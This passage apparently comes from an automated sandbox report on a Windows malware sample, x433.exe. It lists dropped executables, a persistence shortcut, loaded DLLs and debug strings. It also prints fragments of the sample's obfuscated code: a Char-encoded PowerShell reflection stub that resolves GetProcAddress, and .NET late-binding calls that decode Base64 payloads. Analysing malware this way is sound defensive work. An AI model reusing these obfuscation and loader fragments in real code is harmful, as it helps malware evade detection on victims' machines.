$_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+'e'+'m.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+'t.Wi'+[Char](110)+'32.'+'U'+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'eth'+'o'+''+[Char](100)+''+'s'+'');$VrBFKSFCQkTmpL=$GGVrSjgYYZyVF.GetMethod(''+'G'+''+[Char](101)+'tPr'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+'s'+'s'+''
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ae1c0bda-3b65-4ccd-a1ee-0c799d56cbd6}
Source: unknown	Process created: C:\Users\user\AppData\Local\x4usb.exe "C:\Users\user\AppData\Local\x4usb.exe"
Source: C:\Users\user\Desktop\x433.exe	Process created: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe "C:\Users\user\AppData\Local\Temp\x4Shellcode.exe"	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process created: C:\Users\user\AppData\Local\Temp\x4host.exe "C:\Users\user\AppData\Local\Temp\x4host.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ae1c0bda-3b65-4ccd-a1ee-0c799d56cbd6}	Jump to behavior

Source: C:\Users\user\Desktop\x433.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\spoolsv.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\x4usb.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll

Source: C:\Users\user\Desktop\x433.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: x4usb.lnk.2.dr

LNK file: ..\..\..\..\..\..\Local\x4usb.exe

Source: C:\Users\user\Desktop\x433.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: x433.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: x433.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 0000000F.00000000.1793027945.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2952676852.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.pdb source: svchost.exe, 0000000F.00000000.1792989372.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2951597581.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000F.00000000.1792926798.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2949912235.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 0000000F.00000000.1792989372.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2951597581.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 0000000F.00000000.1792989372.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2951597581.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.pdbr source: svchost.exe, 0000000F.00000000.1792989372.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2951597581.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 0000000F.00000000.1793027945.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2952676852.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDB source: svchost.exe, 0000000F.00000000.1792989372.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2951597581.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000F.00000000.1792926798.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2949912235.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 0000000F.00000000.1793027945.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2952676852.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000F.00000000.1792989372.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2951597581.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct3D66.tmp.pdb source: svchost.exe, 0000000F.00000000.1793027945.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2952676852.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000F.00000000.1792926798.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2949912235.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 0000000F.00000000.1793027945.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2952676852.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 0000000F.00000000.1793027945.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2952676852.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000F.00000000.1792926798.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2949912235.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wmsetup.log.pdb source: svchost.exe, 0000000F.00000000.1792989372.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2951597581.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000F.00000000.1793027945.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2952676852.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Source: x4host.exe.0.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.k1dFRPlIGo1RTvRjnXMTxWfy6rA6wb04XVXXgyuhzervWpFow2aKTZxPPAhi2ObTh0OiRmNAWFz65LSgKc5e5PAg,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.NCrWGNhDUjKd4bDw1z4BZBIvFqbvbwlqLKOj3VQUYJmNb6dx8D8FECk38FnZYn3wQs7994mFYgPZWW6ZZqVhhef3,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.pCDeg8Pi40eWuzUFiMHVM4fQZLPXfikQ4VJGywZtMiDPKpgoHP1iqh3HhjRT2ndTBoGATXnC7UPztmPNrFeSPa1w,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1._9jIq11pOiUTPkTJ76ybIKboztPb3B1sCO5R9orQ37qX7P9J0r8ctqtC6Ka1YZnzF72XuHNlpWAY5dDX2mSITmSaS,etNX0TntxxQcULpBdpvLQMPzQQj7vk.ttGbKN3IQCFg51R()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: x4host.exe.0.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{XnFsuZOMgti1ZJ2M7oLi9mifPt8tYB[2],etNX0TntxxQcULpBdpvLQMPzQQj7vk.hzgThPBBZDd3tmW(Convert.FromBase64String(XnFsuZOMgti1ZJ2M7oLi9mifPt8tYB[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.k1dFRPlIGo1RTvRjnXMTxWfy6rA6wb04XVXXgyuhzervWpFow2aKTZxPPAhi2ObTh0OiRmNAWFz65LSgKc5e5PAg,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.NCrWGNhDUjKd4bDw1z4BZBIvFqbvbwlqLKOj3VQUYJmNb6dx8D8FECk38FnZYn3wQs7994mFYgPZWW6ZZqVhhef3,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.pCDeg8Pi40eWuzUFiMHVM4fQZLPXfikQ4VJGywZtMiDPKpgoHP1iqh3HhjRT2ndTBoGATXnC7UPztmPNrFeSPa1w,hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1._9jIq11pOiUTPkTJ76ybIKboztPb3B1sCO5R9orQ37qX7P9J0r8ctqtC6Ka1YZnzF72XuHNlpWAY5dDX2mSITmSaS,etNX0TntxxQcULpBdpvLQMPzQQj7vk.ttGbKN3IQCFg51R()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{XnFsuZOMgti1ZJ2M7oLi9mifPt8tYB[2],etNX0TntxxQcULpBdpvLQMPzQQj7vk.hzgThPBBZDd3tmW(Convert.FromBase64String(XnFsuZOMgti1ZJ2M7oLi9mifPt8tYB[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: x4usb.exe.2.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new 